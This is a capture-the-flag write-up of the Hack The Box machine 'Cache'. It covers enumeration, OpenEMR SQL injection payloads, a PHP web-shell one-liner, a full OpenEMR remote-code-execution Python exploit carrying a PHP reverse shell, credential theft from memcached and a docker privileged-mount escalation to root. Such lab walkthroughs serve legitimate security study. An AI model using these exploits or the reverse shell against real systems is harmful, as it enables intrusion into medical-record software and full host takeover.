Short description to include any strange things to be dealt with
Useful Skills and Tools
Useful thing 1
description with generic example
Useful thing 2
description with generic example
Enumeration
Nmap scan
zweilos@kali:~/htb/cache$ nmap -p- -sC -sV -oN cache.nmap 10.10.10.188
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 11:32 EDT
Nmap scan report for 10.10.10.188
Host is up (0.053s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.10 seconds
I started my enumeration with an nmap scan of 10.10.10.188. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.188
+ Target Hostname: 10.10.10.188
+ Target Port: 80
+ Start Time: 2020-08-09 11:33:04 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 2001, size: 5a4f70909088c, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-08-09 11:40:20 (GMT-4) (436 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
login.html seems to be rabbit hole. Never attempts to actually send data.
bypassing the page by loading net.html seen in the source leads to "under construction" page.
HTTP/1.1 200 OK
Date: Sun, 09 Aug 2020 16:12:49 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Thu, 21 Nov 2019 05:50:40 GMT
ETag: "122-597d4e09e1a40-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 290
Connection: close
Content-Type: text/html
<html>
<head>
<body onload="if (document.referrer == '') self.location='login.html';">
<style>
body {
background-color: #cccccc;
}
</style>
</head>
<center>
<h1> Welcome Back!</h1>
<img src="4202252.jpg">
<h1>This page is still underconstruction</h1>
</center>
</body>
</html>
found some credentials in the functionality.js file in the /jquery folder. ash:H@v3_fun This enabled me to login to the site, which I had already discovered to hold nothing useful. This password did not work for logging into SSH. I decided to try to use my cewl wordlist to see if I could enumerate a proper password now that I had a username. Nothing came back.
Next I tried enumerating subdomains using virtual host enumeration as described in the HTB machine Forwardslash
I wasn't sure if any of these were useful (or reachable, rather) so I loaded up a bunch of other wordlists to try again until I got something that looked useful.
All of these 400 errors were somewhat promising since those sites seem to exist but my requests to them aren't correct.
zweilos@kali:~/htb/cache$ wfuzz --hh 8193 -w /home/zweilos/htb/cache/cache.cewl -H "Host: FUZZ.htb" http://10.10.10.188
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.188/
Total requests: 1219
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000606: 302 0 L 0 W 0 Ch "HMS"
000000610: 400 12 L 53 W 422 Ch "CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)"
000001212: 302 0 L 0 W 0 Ch "HMS"
Total time: 6.391272
Processed Requests: 1219
Filtered Requests: 1216
Requests/sec.: 190.7288
--hh 8193 filters out replies that are 8193 chars long, which was what it replied for pretty much everything, even if it didn't exist.
add to hosts navigating to http://hms.htb redirects to a login page at http://hms.htb/interface/login/login.php?site=default the creds from the previous site do not work here
There is also a vulnerability report that I found that deals with this specific version (5.0.1.3). https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf This report details admin.php=unauthenticated user will be prompted with the database name, the site ID as well as the current version of OpenEMR.
sql_patch.php=reveals current patch level "OpenEMR Version = 5.0.1(3)"
Since the patient portal didnt seem to reveal any useful information, I moved on to the next section, SQL injection. The first example sounded interesting, because combined with the patient portal bypass, I could use the authenticated SQLi vulnerability.
http://hms.htb/portal/find_appt_popup_user.php?catid=1' AND (SELECT 0 FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
/portal/add_edit_event_user.php?eid=1 AND EXTRACTVALUE(0,CONCAT(0x5c,VERSION()))
Next I dumped the user_secure table because that sounded quite promising. I also tried dumping other interesting sounding tables such as notes and users_facility but they were empty.
The table contained information about a openemr_admin user, including a bcrypt hashed password. I loaded the hash into hashcat and it cracked almost imediately.
Got /etc/passwd, can see that luffy, ash, and root are the only users that can log in. Played around with running commands with a simple shell, then remembered that I had downloaded a python exploit that required authentication to the portal to work. mode=save&docid=rce.php&content=<?php system($_GET["evil"]); ?>
# Title: OpenEMR 5.0.1 - Remote Code Execution# Exploit Author: Musyoka Ian# Date: 2020-05-25# Title: OpenEMR < 5.0.1 - Remote Code Execution# Vendor Homepage: https://www.open-emr.org/# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile # Version: < 5.0.1 (Patch 4)# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69# openemr_exploit.py#!/usr/bin/env python2# -*- coding: utf-8 -*-import requestsimport timeauth ="[+] Authentication with credentials provided please be patient"upload ="[+] Uploading a payload it will take a minute"netcat ="[+] You should be getting a shell"s = requests.Session()payload ={'site':'default','mode':'save','docid':'shell.php','content':"""<?phpset_time_limit (0);$VERSION = "1.0";$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1;} else { printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) { printit("$errstr ($errno)"); exit(1);}// Spawn shell process$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) { if (!$daemon) { print "$string\n"; }}?> """}print (auth)url ="http://hms.htb/interface/main/main_screen.php?auth=login&site=default"data={'new_login_session_management':'1','authProvider':'Default','authUser':'openemr_admin',# change this to the the appropriate username'clearPass':'xxxxxx',# change this to the appropriate password 'languageChoice':'1',}response = s.post(url, data=data,).texttime.sleep(2)print (upload)time.sleep(2)resp = s.post("http://hms.htb/portal/import_template.php?site=default", data = payload)time.sleep(2)print (netcat)rev_shell = s.get("http://hms.htb/portal/shell.php")print (rev_shell.text)
Now that I had valid credentials to the portal, I could use exploit.py from earlier POC - modified a bit to work in this situation. After taking a bit to upload the file, a shell was returned to me
Initial Foothold
ran the exploit
zweilos@kali:~/htb/cache$ vim exploit.py
zweilos@kali:~/htb/cache$ python3 ./exploit.py
[+] Authentication with credentials provided please be patient
[+] Uploading a payload it will take a minute
[+] You should be getting a shell
then in my other terminal
zweilos@kali:~/htb/cache/results/10.10.10.188/scans$ nc -lvnp 12346
listening on [any] 12346 ...
connect to [10.10.15.57] from (UNKNOWN) [10.10.10.188] 34384
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
15:10:25 up 2:09, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cache:/$ ^Z
[1]+ Stopped nc -lvnp 12346
zweilos@kali:~/htb/cache/results/10.10.10.188/scans$ stty raw -echo
zweilos@kali:~/htb/cache/results/10.10.10.188/scans$ nc -lvnp 12346
www-data@cache:/$ export TERM=xterm-256color
www-data@cache:/$ clear
Road to User
already had ash password
www-data@cache:/dev/shm$ su ash
Password:
ash@cache:/dev/shm$
Saw memcached in running processes with ps aux. didn't have much experience with it before so I started doing some reading to see if there were any privesc routes by using it. It was running on default port 11211. It also stuck out a bit to me because of the cache theme on the box!
ash@cache:/dev/shm$ echo "stats" | nc -vn 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
STAT pid 959
STAT uptime 14741
STAT time 1597079215
STAT version 1.5.6 Ubuntu
STAT libevent 2.1.8-stable
STAT pointer_size 64
STAT rusage_user 1.068598
STAT rusage_system 2.023156
STAT max_connections 1024
STAT curr_connections 1
STAT total_connections 248
STAT rejected_connections 0
STAT connection_structures 2
STAT reserved_fds 20
STAT cmd_get 0
STAT cmd_set 1225
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 0
STAT get_misses 0
STAT get_expired 0
STAT get_flushed 0
STAT delete_misses 0
STAT delete_hits 0
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 37499
STAT bytes_written 9822
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT time_in_listen_disabled_us 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT slab_reassign_rescues 0
STAT slab_reassign_chunk_rescues 0
STAT slab_reassign_evictions_nomem 0
STAT slab_reassign_inline_reclaim 0
STAT slab_reassign_busy_items 0
STAT slab_reassign_busy_deletes 0
STAT slab_reassign_running 0
STAT slabs_moved 0
STAT lru_crawler_running 0
STAT lru_crawler_starts 5610
STAT lru_maintainer_juggles 32417
STAT malloc_fails 0
STAT log_worker_dropped 0
STAT log_worker_written 0
STAT log_watcher_skipped 0
STAT log_watcher_sent 0
STAT bytes 371
STAT curr_items 5
STAT total_items 1225
STAT slab_global_page_pool 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT evicted_active 0
STAT evictions 0
STAT reclaimed 0
STAT crawler_reclaimed 0
STAT crawler_items_checked 84
STAT lrutail_reflocked 0
STAT moves_to_cold 1225
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
END
ash@cache:/dev/shm$ echo "stats slabs" | nc -vn 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 1235
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
ash@cache:/dev/shm$ echo "stats cachedump 1 0" | nc -vn 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
^C
echoing a command to the service running seemed a bit awkward, so I tried running the command like memcached stats. It seemed to be doing something, but waited for a long time. I did some more reading and found that you could use telnet to interact with it. (I should have tried that on my own...if nc can interact then ssh and telnet should be able to...)
ash@cache:/dev/shm$ telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
get link
VALUE link 0 21
https://hackthebox.eu
END
get file
VALUE file 0 7
nothing
END
get account
VALUE account 0 9
afhj556uo
END
using luffy:0n3_p1ec3 was able to ssh in as luffy!
Enumeration as luffy
luffy@cache:/dev/shm$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
Hmm docker...I saw that running on 172.17.0.1 earlier but wasnt able to connect. Using luffy's creds however I was able to SSH in to the docker container. confusingly...the docker container was also named cache so at first it looked like I had just logged back into the same machine.
This requires the user to be privileged enough to run docker, i.e. being in the docker group docker run -v /:/mnt --rm -it --privileged alpine chroot /mnt sh from the man page
Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
-i, --interactive Keep STDIN open even if not attached
-t, --tty Allocate a pseudo-TTY
-v, --volume list Bind mount a volume
--rm Automatically remove the container when it exits
luffy@cache:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 10 months ago 64.2MB
None of the pages I looked at explained the 'alpine' part of the command, but it looked like the name of the docker image. after trying cache and getting an error, I looked in the man page for how to get the image name and came up with docker images. The name of this docker container was 2ca708c1c9cc. Now I could run my command to escalate to root. docker run -v /:/mnt --rm -it --privileged 2ca708c1c9cc chroot /mnt sh
Root.txt
luffy@cache:~$ docker run -v /:/mnt --rm -it --privileged 2ca708c1c9cc chroot /mnt sh
# id &&hostname
uid=0(root) gid=0(root) groups=0(root)
5cbf7e7969b8
# cat /root/root.txt
90c1e62acc4d72f51790c2b63cc5c458
Thanks to <box_creator> for something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!